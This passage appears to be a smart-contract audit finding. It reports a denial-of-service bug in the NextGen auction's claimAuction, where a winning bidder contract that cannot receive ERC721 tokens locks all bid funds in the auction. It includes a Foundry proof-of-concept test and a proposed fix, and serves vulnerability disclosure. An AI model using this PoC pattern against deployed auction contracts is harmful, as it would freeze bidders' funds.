IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);

111

It is unlikely that this will be used as an attack vector, because the winner would also lose his bid(s) and not receive the auctioned token, but it could happen accidentally.

Proof Of Concept

pragma solidity ^0.8.0;

import "forge-std/Test.sol";

import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import {Ownable} from "../smart-contracts/Ownable.sol";

contract BidderContract is Ownable {

    error CallFailed(bytes returndata);


    function execute(address target, bytes calldata data) external payable onlyOwner {
        (bool success, bytes memory returndata) = target.call{value: msg.value}(data);
        if(!success) {
            revert CallFailed(returndata);
        }
    }

    // doesn't have onERC721Received function
    receive() external payable {}

    function withdraw() external onlyOwner {
        (bool success, bytes memory returndata) = owner().call{value: address(this).balance}("");
        if(!success) {
            revert CallFailed(returndata);
        }
    }

}

contract NonERC721Receiver is Test {
    address dmc = vm.addr(100); // delegation registry - just eoa because not used here
    address auctionContractOwner = vm.addr(101);
    address collArtistAddress = vm.addr(102);
    address auctionTokenRecipient = vm.addr(103);
    NextGenMinterContract minter;
    NextGenAdmins adminContract;
    NextGenCore nextGenCore;
    NextGenRandomizerNXT randomizer;
    randomPool xRandoms;
    auctionDemo auctionContract;
    uint256 tokenId;

    uint256 collectionId1 = 1;
    uint256 collectionId2 = 2;

    string[] emptyStringArray = new string[](0);
    bytes32 emptyBytes;

    error CallFailed(bytes returndata);

    function setUp() public {
        adminContract = new NextGenAdmins();
        xRandoms = new randomPool();
        nextGenCore = new NextGenCore("name", "symbol", address(adminContract));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(adminContract), address(nextGenCore));
        minter = new NextGenMinterContract(address(nextGenCore), dmc, address(adminContract));
        nextGenCore.addMinterContract(address(minter));

        // setup first collection
        nextGenCore.createCollection("collection1", "artist1", "description", "website", "CC0", "baseURI.com", "", emptyStringArray);
        nextGenCore.setCollectionData(collectionId1, collArtistAddress, 5, 50, 0);
        nextGenCore.addRandomizer(collectionId1, address(randomizer));
        // note - timePeriod has to be set to avoid division by 0
        minter.setCollectionCosts(collectionId1, 1 ether, 0, 0, 1, 1, address(0)); // fixed price
        // no allowlist, public mint starts now and ends in 1 day
        minter.setCollectionPhases(collectionId1, block.timestamp, 0, block.timestamp, block.timestamp + 1 days, emptyBytes);

        // setup auction contract
        vm.startPrank(auctionContractOwner);
        auctionContract = new auctionDemo(address(minter), address(nextGenCore), address(adminContract));
        vm.stopPrank();
        assertEq(auctionContract.owner(), auctionContractOwner);

        // msg.sender is global admin
        minter.mintAndAuction(auctionTokenRecipient, "empty tokendata", 0, collectionId1, block.timestamp + 2 days);
        uint256 mintIndex = nextGenCore.viewTokensIndexMin(collectionId1);
        tokenId = nextGenCore.tokenOfOwnerByIndex(auctionTokenRecipient, 0);
        // token was minted to tokenRecipient
        assertEq(tokenId, mintIndex);
        assertEq(nextGenCore.totalSupply(), 1);
        assertEq(nextGenCore.balanceOf(auctionTokenRecipient), 1);
        // contract approval
        vm.startPrank(auctionTokenRecipient);
        nextGenCore.approve(address(auctionContract), tokenId);
        vm.stopPrank();
    }

    function test_NonERC721Receiver() public {
        address bidder1 = vm.addr(201);
        vm.deal(bidder1, 1 ether);
        address bidder2 = vm.addr(202);
        vm.deal(bidder2, 2 ether);
         address bidder3 = vm.addr(203);
        vm.deal(bidder3, 3 ether);

        vm.startPrank(bidder1);
        auctionContract.participateToAuction{value: 1 ether}(tokenId);
        vm.stopPrank();

        vm.startPrank(bidder2);
        auctionContract.participateToAuction{value: 2 ether}(tokenId);
        vm.stopPrank();

        vm.startPrank(bidder3);
        BidderContract bidderContract = new BidderContract();
        bidderContract.execute{value: 3 ether}(address(auctionContract), abi.encodeWithSelector(auctionContract.participateToAuction.selector, tokenId));

        assertEq(auctionContract.returnHighestBid(tokenId), 3 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), address(bidderContract));

        vm.warp(block.timestamp + 2 days);
        vm.expectRevert();
        bidderContract.execute(address(auctionContract), abi.encodeWithSelector(auctionContract.claimAuction.selector, tokenId));
        vm.stopPrank();

        // this contract (global admin) tries to claim auction instead
        vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer");
        auctionContract.claimAuction(tokenId);

        // assertions
        assertEq(bidder1.balance, 0);
        assertEq(bidder2.balance, 0);
        assertEq(bidder3.balance, 0);
        assertEq(address(auctionContract).balance, 6 ether);
        assertEq(nextGenCore.ownerOf(tokenId), address(auctionTokenRecipient));
    }
}

Tools Used

Foundry

Recommended Mitigation steps

A parameter _transferTo could be added to the claimAuction function, so that if the winner doesn't accept the token, the auction can still be ended by the winner / functionAdmin / globalAdmin and the token be sent to a alternative address.

function claimAuction(uint256 _tokenid, address _transferTo) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    ...
    if (_transferTo == address(0)) {
        _transferTo = highestBidder;
    }
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            IERC721(gencore).safeTransferFrom(ownerOfToken, _transferTo_, _tokenid);
            ...
        }
    }
}

A second possibility is to check if the correct value is returned before a bid can be placed, if the bidder is a contract.

Assessed type

DoS